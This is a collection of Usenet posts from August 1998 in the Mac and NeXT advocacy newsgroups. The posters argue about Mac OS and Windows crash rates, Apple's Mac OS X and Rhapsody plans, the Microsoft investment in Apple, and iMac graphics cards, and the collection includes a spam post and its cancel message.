References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q89qq$mvp$1@nnrp1.dejanews.com> <6qag5l$4g6$1@nnrp1.dejanews.com> <6qao0i$hio$1@nnrp1.dejanews.com> <6qd51c$m8g$1@nnrp1.dejanews.com> <6qdanf$vil$1@nnrp1.dejanews.com>
In article <6qdanf$vil$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <6qd51c$m8g$1@nnrp1.dejanews.com>,
> mmp5@axe.humboldt.edu wrote:
>
> > What version of the MacOS are you using?
> > Basically I've found that Sys 7.5x had alot of
> > problems, however 7.6 seemed much better and
> > 8.1 runs very well, rarely crashes and quite
> > snappy even on 7100/60s.
>
> I'm running 8.1 right now. I'm talking about the total number of reinstalls
> that I've had to do over the last six years.
>
> > Usually the culprits are ATM and OLE. Whether
> > these become corrupt _during_ a crash or
> > become corrupt and _cause_ a crash is rather
> > hard to determine.
>
> This is still very weird. I've never had any problems with ATM.
I've had some major problems with older versions of ATM (ca 2 years ago).
Recent versions seem to work fine.
OLE is a problem. I've found that the biggest problem is "OLE Extension".
You need the rest of the OLE stuff to run Office, but you can remove OLE
Extension and the stability of the system improves dramatically. That, and
Office Manager.
>
> [Explanation snipped]
>
> When I went to school, the PCs used NT and the Macs used some software package
> to prevent students from screwing up the system. We only had write access to a
> single temporary directory.
If it was recently, that would probably be "At Ease". Great program. I use
it at home, but it's equally suitable for schools and other work groups.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 07 Aug 1998 08:19:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-0708980819190001@wil86.dol.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu>
In article <35C9C503.2B61@genetics.utah.edu>, Patrick O'Neil
<poneil@genetics.utah.edu> wrote:
> George Graves wrote:
> >
> > In article <35C86ABE.4EE5@genetics.utah.edu>, Patrick O'Neil
> > <poneil@genetics.utah.edu> wrote:
> [...]
> >
> > I see. You don't mind running Win95 and NT, but you won't run the
> > "dismal Mac OS". Have you seen your psychiatrist lately Mr. O'Neil?
> > Because you're nuts!
> >
>
> Not at all. As much as I dislike M$ and Gates, the latest Winblows
> variants (perversions?) ARE more stable than MacOS. Setting up a
> standard Winblows box from scratch is no more complicated than
> setting up a new install of MacOS...so there is no benefit THERE.
And George just showed that you're wrong.
Heck, even one of the prime Wintrolls suggested a solution that was
_still_ much harder than installing MacOS.
Until you have some evidence, you're just blowing smoke.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 07 Aug 1998 08:16:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0708980816440001@wil86.dol.net>
References: <stone-ya02408000R1007981831080001@news.enetis.net> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net> <35C14DC2.74ADCDA0@earthlink.net> <6psofk$eb6$1@news.spacelab.net> <35C1F3A8.2B36FFA2@exu.ericsson.se> <geh-3107981123110001@odo.safe.internal> <macghod-3107981422050001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <35C23CFF.74C99D5B@exu.ericsson.se> <6qclg8$eth$1@news02.btx.dtag.de> <macghod-0608981130100001@sdn-ar-001casbarp069.dialsprint.net>
In article <macghod-0608981130100001@sdn-ar-001casbarp069.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6qclg8$eth$1@news02.btx.dtag.de>, Fam.Traeger@t-online.de
> (=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
>
> > And you'll have a graphics card at least 4 years old, if it was cutting
> > edge it'll be local bus and you couldn't use it even if you found
> > drivers. Plus a HD slightly bigger and faster than a ZIP-drive.
> >
> > In the end you didn't upgrade an old computer, you crippled a new one.
> >
> > > A Pentium-II upgrade is not necessary, however, for Mr Hiebert's
> > > challenge of running NT 5.0. An Evergreen i586 upgrade will do the job
> > > just fine; the cost will come in around $100 or less.
> >
> > But you still have the GC and HDD.
>
> So, F'ing what? You pay $200 for a p2 on a MB, and you are complaining it
$200 for a PII on a motherboard? I think you're dreaming.
And, it may not use your old RAM, either.
> still has a small hard drive and 4 year old graphics card? If you have a
> 7500 100 and pony up 3 times that ammount for a g3 card, you still have
> the same old graphics card, hard drive etc, but you get the pleasure of
> paying 3 times as much. If you have a 2 si, you get to stick with the
> same cheesy hard drive, graphics card etc and you DONT have a chance to
> buy a g3 and motherboard for $200. AInt choice great?
True. Just like you can't buy a PII and motherboard for $200. What's your point?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 07 Aug 1998 08:34:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <joe.ragosta-0708980834340001@wil86.dol.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <6qddcg$2ms$1@nnrp1.dejanews.com>
In article <6qddcg$2ms$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <6qd6fk$p28$1@nnrp1.dejanews.com>,
> bobstaff@jhunix.hcf.jhu.edu wrote:
>
> > I would have put...
> >
> > Win95 - c (Once per 3-4 hours of solid use - mostly instability, not pure
> > crashes, tho)
> > WinNT - c+ (Once per 6-8 hours of solid use)
> > MacOS 8 - c (Once per 3-4 hours of solid use, pure crashes)
> >
> > Win95 and MacOS crash about the same for me (a lot). WinNT crashes
_less_ but
> > not enough to make me happy. Maybe its just me?
>
> Your average crash time is once every 3-4 hours and you have them a C? I would
> have given them a D. I think of something like QNX having an A+.
This is useless.
Anyone who's getting a crash every 3-4 hours without doing something about
it is not skilled enough to be taken seriously. A properly configured Mac
_or_ Win95 system shouldn't be crashing more than a couple of times a week
AT MOST.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: cgunalan@pacific.net.sg (Vithiagaran Gunalan)
Newsgroups: comp.sys.next.advocacy
Subject: NEXTstep/Openstep for the Mac
Date: Fri, 07 Aug 1998 19:34:51 +0800
Organization: Subscriber of Pacific Internet, Singapore
Message-ID: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Hi, my name is Vithia and i use a bunch of macs. I'm really interested in
the NEXT platform, and i wonder if i can get a mac port of the nextstep or
openstep OS. I've used the BeOS, and on my way to using Linux-pmac, but
somehow, next sems very enticing. Who knows? i might give up my mac for a
computer that runs on Unix or NeXt instead. Thanks!!!!
From: hattonr@aug.com (Rick Hatton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Conspiracy Theory
Date: Fri, 7 Aug 1998 09:03:35 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980807090335288770@pm2-1-27.aug.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <35CA2BFE.19FEA581@pilot.msu.edu> <lpreuss-ya02408000R0608981909310001@news.provide.net>
Larry Preuss <lpreuss@provide.net> wrote:
> That's sort of a strange thought. An investment in Apple carries with it a
> modicum of control, and thus would be more pro- than anti-monopolistic for
> Microsoft.
The stock MS bought was non-voting. I believe there is a time frame on
either the ability to sell the stock, when/if it becomes voting stock or
both. But for now, the stock is non-voting, so there is no MS stock
control.
From: hattonr@aug.com (Rick Hatton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Fri, 7 Aug 1998 09:03:37 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980807090337288881@pm2-1-27.aug.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105>
Lawson English <english@primenet.com> wrote:
> software to the continued well-being of Apple. Amelio wanted MS Office for
> Rhapsody + $1 billion. Jobs settled for $150 milllion plus MS Office for
> MacOS and then changed the name of Rhapsody to MacOS.
Thank you for reminding everyoneof this. I get a little tired of hearing
the "Jobs is Apple's Savior and Amelio nearly killed it" routine.
Date: Fri, 07 Aug 1998 09:24:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Message-ID: <joe.ragosta-0708980924190001@wil86.dol.net>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net> <6qd9sd$d5j$1@news.spacelab.net> <35CA6F0E.6E27@exu.ericsson.se>
In article <35CA6F0E.6E27@exu.ericsson.se>, Michael.Peck@ericsson.com wrote:
> Charles W. Swiger wrote:
>
> > From the current, second generation of 3D-accelerated video hardware (the
> > Permedia II, Voodoo II, ATI Rage II Pro, nVidia 128, etc) the Rage Pro is in
> > the top three across the board for general-purpose 2D and 3D performance.
>
> The "second generation" is *not* the current generation of accelerators.
> The current generation includes the RIVA TNT, the S3 Savage, the Matrox
> G200, the Permedia 3, the Revolution IV, and the 3Dfx Banshee. This is
> the generation that will impact the iMac's acceptance in 3D, from August
> through Christmas.
>
> I just bought a Millenium G200 for $119. I probably should have shopped
> around more, but the price was so low I didn't even care. For an 8MB
> card (upgradeable to 16MB) with a 250MHz RAMDAC, I figured what the
> hell.
Thanks for proving the point.
Serious gamers are going to want to upgrade their video cards when a new
generation of card comes out. That, by definition, rules out the iMac,
anyway. Those people should be looking at the PowerMac G3.
No matter what graphics you put into a computer, it's no longer state of
the art in 6 months for a die-hard gamer. The iMac doesn't fit the bill
for those people, so the graphics capability is not the issue.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Thu, 6 Aug 1998 17:17:34 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6qdabi$fbs1@odie.mcleod.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <6qb007$dbu6@odie.mcleod.net> <01bdc0da$28cd0410$f3badccf@samsara>
Jonathan Hendry wrote in message <01bdc0da$28cd0410$f3badccf@samsara>...
>How about waiting a bit? OS-X is still at least a year away. A lot
>of the details have probably not been settled on, let alone implemented.
>It's not even in Alpha yet.
>
>If MacOS-X were a human, it's still a zygote, and you want to know how good
>it'll be at spelling.
>
I need to know what MacOS-X is now for several reasons. If I am going to
invest in OS-X Server (Rhapsody) in the next few months, I would like to
know if it (and its technologies) has a future beyond the first release.
Apple has officially stated that Rhapsody 1.0 is the last release and that
MacOS-X is its successor. So what is the successor? Everything Apple has
publicly said does not sound like it will be what I want which in turn means
I should not but many seats of MacOS-X Server now. Second, Apple has a long
history of under-delivering. If they under-deliver something as
under-promised as MacOS-X, they might as well not ship anything in my
opinion. Finally, as a software development manager, I like to be able to
plan multi-year projects without finding out that 11 person years have been
wasted due to a strategy shift at the tool vendor.
Date: Fri, 07 Aug 1998 09:43:17 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Message-ID: <joe.ragosta-0708980943170001@wil86.dol.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com>
In article <19980807090337288881@pm2-1-27.aug.com>, hattonr@aug.com (Rick
Hatton) wrote:
> Lawson English <english@primenet.com> wrote:
>
> > software to the continued well-being of Apple. Amelio wanted MS Office for
> > Rhapsody + $1 billion. Jobs settled for $150 milllion plus MS Office for
> > MacOS and then changed the name of Rhapsody to MacOS.
>
>
> Thank you for reminding everyoneof this. I get a little tired of hearing
> the "Jobs is Apple's Savior and Amelio nearly killed it" routine.
Amelio could have wanted $400 trillion dollars and a harem of dancing
girls. What he _wanted_ is irrelevant.
Until Lawson can show that Jobs got a worse deal than Amelio did, he's
blowing smoke.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 07 Aug 1998 09:46:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Message-ID: <joe.ragosta-0708980946590001@wil86.dol.net>
References: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg>
In article <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg>,
cgunalan@pacific.net.sg (Vithiagaran Gunalan) wrote:
> Hi, my name is Vithia and i use a bunch of macs. I'm really interested in
> the NEXT platform, and i wonder if i can get a mac port of the nextstep or
> openstep OS. I've used the BeOS, and on my way to using Linux-pmac, but
> somehow, next sems very enticing. Who knows? i might give up my mac for a
> computer that runs on Unix or NeXt instead. Thanks!!!!
You'll have to wait until this fall. It's called Mac OS X Server.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 07 Aug 1998 09:54:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Message-ID: <joe.ragosta-0708980954130001@wil86.dol.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <6qb007$dbu6@odie.mcleod.net> <01bdc0da$28cd0410$f3badccf@samsara> <6qdabi$fbs1@odie.mcleod.net>
In article <6qdabi$fbs1@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> Jonathan Hendry wrote in message <01bdc0da$28cd0410$f3badccf@samsara>...
> >How about waiting a bit? OS-X is still at least a year away. A lot
> >of the details have probably not been settled on, let alone implemented.
> >It's not even in Alpha yet.
> >
> >If MacOS-X were a human, it's still a zygote, and you want to know how good
> >it'll be at spelling.
> >
>
> I need to know what MacOS-X is now for several reasons. If I am going to
> invest in OS-X Server (Rhapsody) in the next few months, I would like to
> know if it (and its technologies) has a future beyond the first release.
> Apple has officially stated that Rhapsody 1.0 is the last release and that
> MacOS-X is its successor. So what is the successor? Everything Apple has
> publicly said does not sound like it will be what I want which in turn means
> I should not but many seats of MacOS-X Server now. Second, Apple has a long
> history of under-delivering. If they under-deliver something as
> under-promised as MacOS-X, they might as well not ship anything in my
> opinion. Finally, as a software development manager, I like to be able to
> plan multi-year projects without finding out that 11 person years have been
> wasted due to a strategy shift at the tool vendor.
OK. I'll try to cover everything. Let me know if I've left anything out.
If you go with Rhapsody 1.0 (Mac OS X) there are two choices--either you
do it on a PC Compatible or on a Mac.
If you use a PC Compatible, it appears to be a dead end. There's no
announcement of future versions for PC Compatibles, and there doesn't seem
to be much weasel room in the statements from Apple. That's not to say
that a massive effort couldn't change that, but for today, it doesn't look
likely.
If you're using a Mac, then here's what you've got:
1. Rhapsody code should run with little or no change on Mac OS X (although
it will probably need to be recompiled).
2. BSD type code should also run fine (again, probably after being
recompiled, but with few if any source changes).
3. Mac apps will continue to run in the Blue Box.
4. Mac OS X will run only on PowerMac G3 systems (not upgraded PCI Macs).
There's still a little chance that it might run on earlier Macs, but I'd
plan on it being G3-only.
If you're writing Yellow Box apps, they should be OK indefinitely.
As for Apple under-delivering, that's historically been true. During the
past year or so, Apple has done a stellar job of delivering almost
everything they promised. I've been involved with OS testing for them and
every OS has been on time or less than a month late since 7.5.5. Hardware
is coming out in a timely fashion, as well.
Good luck.
You might try www.stepwise.com for more information. The webmaster-Scott
Anguish-is very much in tune with what's going on and is a good resource
if you have more specific questions.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Message-ID: <35CB332B.FFF8E8BA@nospam.com>
From: Tim Triemstra <nospam@nospam.com>
Organization: PM Global Foods, LLC
MIME-Version: 1.0
Newsgroups: gnu.gnustep.discuss,comp.sys.next.programmer,comp.sys.next.advocacy,comp.os.linux.development
Subject: Re: Another day, another GNUstep screenshot...
References: <6q6n11$5bs@sjx-ixn10.ix.netcom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Fri, 07 Aug 1998 14:01:35 GMT
NNTP-Posting-Date: Fri, 07 Aug 1998 10:01:35 EDT
Felipe A. Rodriguez wrote:
>
> For all those curious to see how the GNUstep project is progressing
> I've posted a screenshot at:
>
> http://pweb.netcom.com/~far/far.html
>
> In the foreground you'll see the XRAW Workspace example which is
> a GNUstep clone of the NeXTSTEP Workspace. And behind it is the
> very new Edit example.
I'm sure (hope) that someone has looked into this, but I asked lawyers
at NeXTSTEP once upon a time if they minded me using their icons in one
of my apps because I wanted my NeXT users to feel comfortable with the
app. They told me a definite "no" to using any of their icons in my
apps or on a web page. These icons in the screenshot seem the same as
the NeXTSTEP ones, so is there GNU version of these icons I could use?
Just curious because I still have NeXTSTEP users I'd like to make at
home in another environment (not to mention they're purty :)
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
Java Interface Project: http://www.mindspring.com/~timtr/
From: patw@proserv.wustl.edu
Newsgroups: comp.sys.next.advocacy
Subject: !!! Announcing an important information resource The Meta-List
Date: 7 Aug 1998 14:13:57 GMT
Organization: Washington University in St. Louis
Message-ID: <6qf235$73j$634@newsreader.wustl.edu>
Hi! I posted this using an unregistered copy of Newsgroup AutoPoster PRO!
See a new site on the CAIT Home Page geared towards meeting the needs of the Information
Systems Specialist.
INFORMATION SYSTEMS META-LIST
http://www.cait.wustl.edu
Any additions or recomendations to the Information Systems Meta-List are greatly appreciated.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6qf235$73j$634@newsreader.wustl.edu>
Control: cancel <6qf235$73j$634@newsreader.wustl.edu>
Date: 07 Aug 1998 14:14:11 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6qf235$73j$634@newsreader.wustl.edu>
Sender: patw@proserv.wustl.edu
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
From: da728@torfree.net (Karl Knechtel)
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <ExBo1z.sI.0.queen@torfree.net>
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Organization: Toronto Free-Net
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com>
Date: Fri, 7 Aug 1998 13:56:22 GMT
bobstaff@jhunix.hcf.jhu.edu wrote:
: In article <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com>,
: don.brown@cesoft.com (Donald Brown) wrote:
: > Win95 - B+
: > MacOS 6.x and earlier - C-
: > MacOS 7.x - C to C+
: > MacOS 8 - B
: >
: I would have put...
: Win95 - c (Once per 3-4 hours of solid use - mostly instability, not pure
: crashes, tho)
: WinNT - c+ (Once per 6-8 hours of solid use)
: MacOS 8 - c (Once per 3-4 hours of solid use, pure crashes)
: Win95 and MacOS crash about the same for me (a lot). WinNT crashes _less_
: but not enough to make me happy. Maybe its just me?
: dIsCoRd
It seems people are extrapolating backwards and assuming that System 6.x is
horribly instable just because of how awful some of the 7.5.x versions were.
I am currently using a box with System 6.0.7 and do quite a bit of work. My
experience of its stability is:
MacOS 6.0.7 - a (Once per 10-14 days of 3-4 hours of solid use each day,
some instabilities, some nasty crashes, mostly simple system bombs i.e.
the Restart button actually restarts the computer).
I know of a few conflicts and instabilities (My Turing interpreter isn't
careful about how much memory it will let you try to clear for arrays
[It's an incredibly old version, probably alpha], one of my games doesn't
like DAs) and if I avoid these the incidence of crashes is almost
negligible. An a+ rating is reserved for a good UN*X box but this is
pretty #*^%ing close most of the time.
As for those of you who are generally disagreeing with what is being said,
please do not resort to profanity and unbased ad hominem attacks. I
understand there is an alt.flame.* hierarchy; if I wanted to read flames I
would go there. Try to remember that someone else's 'real life experience'
may differ from yours, and that your 'real life experience' may therefore
be meaningless to that person.
<Deja News self-advertisement snipped>
Karl Knechtel {:-#>
da728 at torfree dot net
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 10:43:44 -0400
Organization: Manual Labor
Message-ID: <kindall-0708981043440001@nic-c41-094.mw.mediaone.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <6qddcg$2ms$1@nnrp1.dejanews.com> <joe.ragosta-0708980834340001@wil86.dol.net>
In article <joe.ragosta-0708980834340001@wil86.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> This is useless.
>
> Anyone who's getting a crash every 3-4 hours without doing something about
> it is not skilled enough to be taken seriously. A properly configured Mac
> _or_ Win95 system shouldn't be crashing more than a couple of times a week
> AT MOST.
A computer system that needs to be "properly configured" not to crash
every 3-4 hours has serious problems, in the big picture, especially when
it started life as the computer "for the rest of us." Any kind of crash
is the ultimate user-unfriendly action.
I love the Mac, hate it when I have to use Windows, but they both crash
way too much for a "consumer" OS, and the OS has no good built-in way to
tell what's causing the crash. I choose the Mac OS because it's generally
more elegant overall, and I get more work done and have more fun _despite_
the occasional crashes, but I don't pretend it's crashproof. There's a
reason Mac OS X is being so highly anticipated by Mac owners.
Let's not pretend there's something wrong with _me_ because my Mac crashes
sometimes. Even computer competent people sometimes have better things to
do with their life than babysit their machine. That's what the Mac's
supposed to be all about, in fact.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
A makeover for your Mac every week. http://www.manual.com/tss/
From: cfischer <cfischer@frontiernet.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: 7 Aug 1998 14:44:46 GMT
Organization: Coda Software Limited
Message-ID: <35CB109C.DE7@frontiernet.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jonathan W Hendry wrote:
>
> In comp.sys.next.advocacy Patrick O'Neil <poneil@genetics.utah.edu> wrote:
>
> > Nah. Apple is now a subsidiary, for all practical purposes, or a
> > "protectorate" if you like, of M$. The money from Gates is NOT
> > charity and it DOES carry tentacles that bind.
>
> Nonsense. The shares are 'non-voting', which means they have no
> say. Microsoft has influence, but it's not due to their token
> investment (which was pocket change to Apple). Microsoft's
> influence stems entirely from their software.
>
I agree with what you're saying, but it wasn't pocket change to
Apple, they were hemoragging cash at the time. There was a
question as to whether they could stay in business at the time.
That, of course, seems silly now.
It was less than pocket change to Microsoft.
> Try reading sometime.
>
> > Anything and everything from now on that is designed to
> > "help" Apple is actually a means to fatten the pockets and
> > power of Gates and M$.
>
> That's what they hope. May not turn out that way.
>
> > Jobs is a pathetic puppet with an ego nearly as large as Gates'
>
> The pipsqueak college student has spoken.
>
> --
> Note: email to this address goes to /dev/null
> To email a reply, write to jon at exnext dot com
--
Chris Fischer cfischer@frontiernet.net
Owner, Coda Software, Limited
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Solution to Imac SUCKS for games
Content-Type: text/plain; charset=us-ascii
Message-ID: <ExBr6L.HEs@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: ante@Zeke.Update.UU.SE
Organization: none
References: <6qdl2c$k74$1@Zeke.Update.UU.SE>
Mime-Version: 1.0
Date: Fri, 7 Aug 1998 15:03:56 GMT
In <6qdl2c$k74$1@Zeke.Update.UU.SE> Andreas Gustafsson wrote:
> I think that selling a machine to the desktop, trying to win the
> home market without including the a 3Dfx card is impossible.
I'd say that less than 5% of all desktops in homes have a Voodoo of some
sort in them, and that's likely very much on the high side. So I'd say
you're wrong.
More to the point, the Voodoo is no longer the be all and end all. Their
performance lead that made the cost and annoyance level worthwhile two years
ago simply isn't there any more. You can get 80% of the same performance
from the new Matrox system, and at the same time the Matrox is also a
super-fast 2D controller, and 1/2 the price of a single Voodoo II. Apple
would be much wiser to go that route if any change was to be made.
Maury
Date: Fri, 07 Aug 1998 11:19:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <joe.ragosta-0708981119420001@wil56.dol.net>
